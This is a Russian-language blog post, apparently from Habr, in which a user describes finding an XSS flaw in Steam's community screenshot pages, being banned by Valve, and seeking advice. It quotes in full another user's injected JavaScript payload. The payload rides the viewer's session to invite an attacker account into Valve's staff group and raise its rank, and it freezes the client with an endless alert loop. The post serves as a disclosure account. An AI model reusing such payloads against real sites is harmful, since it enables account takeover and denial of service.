Pull to refresh

Valve — школа злобы или как потерять всё одним багрепортом

Здравствуйте, хабралюди.

13 июля, в 18:36 МСК мною был найден XSS на странице сообщества всем известного Steam. В это время (7:36 утра в Сиетле) никого не было в офисах Valve (по крайней мере таковых на форуме не нашел). Как же дошло дело до того, что мне заблокировали два аккаунта Steam и на достояние общественности было выставлено моё письмо Аларику, комьюнити-менеджеру Valve? Прошу под кат.



О! Дыра!



Представлюсь, Иван Балясников, со вчерашнего дня НЕ переводчик Steam, НЕ пользователь Steam, пират.

Я очень люблю находить дырки на сайтах, но не используя их, а только проверяя сайты. Беда пришла откуда не ждали. Оказалось, что в секции скриншотов завёлся баг, позволяющий выполнить произвольный код со стороны пользователя.

image

К сожалению, я не додумался выйти из сети и проверить мои догадки без посторонних.

Разместив скриншот, я прошел по ссылке для просмотра. Моему удивлению не было предела. Xss действительно был и ничего не ограничивало произвольный код.

Быстро сообразив, что надо ждать помощь в виде сотрудников Valve, я удалил скриншот и пошел по своим делам.

Начинаются неприятности



Каково же было мое удивление, когда придя, я обнаружил действительно опасный код у одного из моих друзей. Посмотрев профиль этого человека на сайте SteamRep — вы убедитесь, что я зря делал всё в открытую.

Код, размещенный этим человеком был настолько изощренным, что как только на страницу заходил сотрудник Valve — автоматически отправлялось приглашение в приватную группу работников Valve.

Код целиком
function inviteMyLittleFriend()
{
var inviteParams = {json: 1,type: 'groupInvite',group: '103582791429521412',sessionID: g_sessionID,invitee: '76561198053385200'};
$J.ajax({url: 'http://steamcommunity.com/actions/GroupInvite',data: inviteParams,type: 'POST'});
var grantParams = {xml: 1,action: 'toggleRank',sessionID: g_sessionID,memberId: '76561198053385200'};
setTimeout(function(){$J.ajax({url: 'http://steamcommunity.com/groups/Valve/membersManage',data: grantParams,type: 'POST'});}, 10000);
}

onload = function(){
var gaben = document.createElement(«iframe»);
gaben.setAttribute(«src», "//www.youtube.com/embed/Nare8qvmQJA?autoplay=1&loop=1");
gaben.setAttribute(«width», «1»);
gaben.setAttribute(«height», «1»);
document.body.appendChild(gaben);
setTimeout(function(){inviteMyLittleFriend(); for (var i = 1; i >0; i++){alert(«Copyright © 2013\n\n\n I'm so sorry about locked Steam. — Shamilik»);}}, 5000);
};


Собственно открытие этой ссылки внутри Steam означало полную блокировку программы. Закрывать требовалось 10000 раз, так как скрипт в контексте страницы повторялся дважды.

К сожалению, код сработал правильно и этого человека действительно пригласило в группу.

image

Ну ладно, его быстро исключили. Но тут начинается самое удивительное.

Не надо так



Внезапно, я получаю блокировку сообщества. От кого? Правильно, от работника Valve. За что? Неизвестно, так как абсолютно никаких умышленных действий, которые бы навредили Steam, я не производил.

image

Ну ладно, подумал я. Бывает. Напишу в техподдержку — восстановят. Пойду пока на свой запасной аккаунт.
Ок, сказали Valve, и буквально через час я получил блокировку на свой второй аккаунт.

image

Хочу оговориться, что блокировка сообщества — ничего не значит для игр. Следовательно, я все еще мог играть в свои честно приобретенные игры.
Но, как говорится, не тут то было.

image
(Это сообщение появляется при заходе на любой из моих двух аккаунтов)

Затем, решив, что надо что-то делать и разъяснить все самому Аларику — отправляю своё гневное письмо, которые вы можете наблюдать на его странице в VK. А соглашения на распространение этого письма я, между прочем, не давал. После того, как я увидел, как много человек, не войдя в курс дела, начали осуждать меня — и было принято решение написать эту статью в надежде, что они увидят её, а так же прошу помощи сообщества. Как поступить в данной ситуации? Была ли здесь статья 138.2 УК РФ?

Xss, описанный в этой статье уже устранён и сайт steamcommunity.com не представляет больше опасности.
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.